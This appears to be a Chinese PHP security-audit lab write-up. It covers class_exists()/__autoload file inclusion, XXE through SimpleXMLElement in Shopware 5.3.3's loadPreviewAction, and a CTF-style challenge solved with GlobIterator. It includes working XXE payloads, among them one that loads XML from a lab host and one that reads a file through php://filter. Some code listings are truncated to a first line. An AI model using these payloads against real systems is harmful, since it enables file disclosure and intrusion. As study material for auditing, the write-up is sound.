代码如下:
1 | function __autoload($className) { |
class_exist()
文件包含漏洞首先来看class_exist()
的定义:
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :检查类是否已定义
定义 :
bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true ,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;当 $autoload 为 false 时,则不调用 __autoload 函数。
上面这个例子中,class_exist()
会直接调用__autoload()
函数,而__autoload()
函数的参数可以用户可控的,攻击者可以使用路径穿越来包含任意文件。
使用路径穿越符号的前提是PHP版本小于5.4
SimpleXMLElement
XXE漏洞第9行代码中,实例化类的类名和参数均在用户控制之下,那么攻击者就可以通过这个漏洞,调用PHP代码库的任意构造函数。也可以使用PHP内置类SimpleXMLElement
进行XXE攻击,进而读取文件内容和命令执行(PHP安装expect扩展)。
SimpleXMLElement :(PHP 5, PHP 7)
功能 :用来表示XML文档中的元素,为PHP的内置类。
用法也比较简单,直接传入一个包含恶意payload的XML代码即可。
1 |
|
这次的实例分析用到的是Shopware 5.3.3版本,后台代码其中有一处提供了动态新建类的函数,然而并没有对新建的类进行限制,由于新建的类名和传递的参数都是我们可以控制的,从而造成漏洞。入口点是在engine\Shopware\Controllers\Backend\ProductStream.php
文件中有一个loadPreviewAction
方法,作用是用来浏览产品流的详细信息。
1 | class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application |
该方法接收从用户传来的参数 sort
,然后传入 Repository
类的 unserialize
方法,继续跟进unserialize()
方法,实际上是调用 engine\Shopware\Components\LogawareReflectionHelper.php
:
1 | public function unserialize($serialized, $errorSource) |
这里的 $serialized
就是我们刚刚传入的 sort
(上图第3行),程序分别从 sort
中提取出值赋给 $className
和 $arguments
变量,然后这两个变量被传入 ReflectionHelper 类的 createInstanceFromNamedArguments
方法,继续跟进这个函数:
1 | public function createInstanceFromNamedArguments($className, $arguments) |
函数的第一行就是创建了一个反射类,而类名就是来自我们传入的sort
参数。最后一句return
时根据参数newInstanceArgs
创建了一个新的实例对象,参数newInstanceArgs
是从$arguments[$paraName]
中取值,并且$arguments
是用户可控的,那么当我们传入类名为SimpleXMLElement
时,实例化后,会将传入的参数进行xml
解析。
中间的那一段for循环,大概意思就是如果没有传入非可选参数时直接报错,没有传入非可选参数时会赋默认值。
搭建这个环境花了我一天的时间,最后还是用的其他师傅已经做好的docker镜像跑起来的,但是这个环境还是没有办法调试。
环境:
Windows 10 2004
Docker 2.2.0.5
搭建步骤:
docker pull gaoxijiejie/shopware:okay
docker run -i -t -p 8000:80 gaoxijiejie/shopware bash
当我们点击 Refresh preview 按钮时,就会调用 loadPreviewAction
方法,用BurpSuite抓到包如下:
其中主要就是sort参数的值:
1 | %7B%22Shopware%5C%5CBundle%5C%5CSearchBundle%5C%5CSorting%5C%5CPriceSorting%22%3A%7B%22direction%22%3A%22ASC%22%7D%7D |
Url解码:
1 | {"Shopware\\Bundle\\SearchBundle\\Sorting\\PriceSorting":{"direction":"ASC"}} |
为了构造类似的payload,先来查看SimpleXMLElement
类的构造函数:
1 | final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] ) |
为了减少Payload的长度,我们要传入data_is_url=TRUE
使得可以用URL传入恶意XML数据,那么Payload如下:
1 | {"SimpleXMLElement":{"data":"http://172.19.14.43:8000/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}} |
xxe.xml
文件内容
1 | <?xml version="1.0" encoding="ISO-8859-1"?> |
当然这个是属于Blind XXE,是没有回显的,只能用外部DTD来外带数据,但是这种没能复现成功,而且也不能调试,蛮遗憾的。
1 | // index.php |
1 | // f1agi3hEre.php |
根据上面的知识储备,我们在上图第18行处可以看到使用了 class_exists 函数来判断类是否存在,如果不存在的话,就会调用程序中的 __autoload 函数,但是这里没有 __autoload 函数,而是用 spl_autoload_register 注册了一个类似 __autoload 作用的函数,即这里输出404信息。
首先我们用GlobIterator
类搜索flag文件名字,构造方法如下:
1 | public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] ) |
第一个参数为要搜索的文件名,第二个参数为选择文件的哪个信息作为键名,这里我们用它的默认值CURRENT_AS_FILEINFO
即可,payload如下:
1 | http://localhost/PHP-Audit-Labs/Day3/index.php?name=GlobIterator¶m=./*.php |
第二步用SimpleXMLElement
类读取flag,这里因为文件中存在< > & ' "
符号,所以需要对读取的数据进行base64编码,不然会导致XML解析失败,payload:
1 | http://localhost/PHP-Audit-Labs/Day3/index.php?name=SimpleXMLElement¶=?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpstudy/PHPTutorial/WWW/PHP-Audit-Labs/Day3/f1agi3hEre.php">]><x>%26xxe;</x>¶2=2 |
第一个参数的内容:
1 | ?name=SimpleXMLElement¶m=<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=E:/phpstudy/PHPTutorial/WWW/PHP-Audit-Labs/Day3/f1agi3hEre.php">]><x>%26xxe;</x> |
第二个参数实际上这里2对应的模式是 LIBXML_NOENT,因为在libxml>=2.9.0以后的版本默认不开启外部实体解析,需要添加这个参数开启。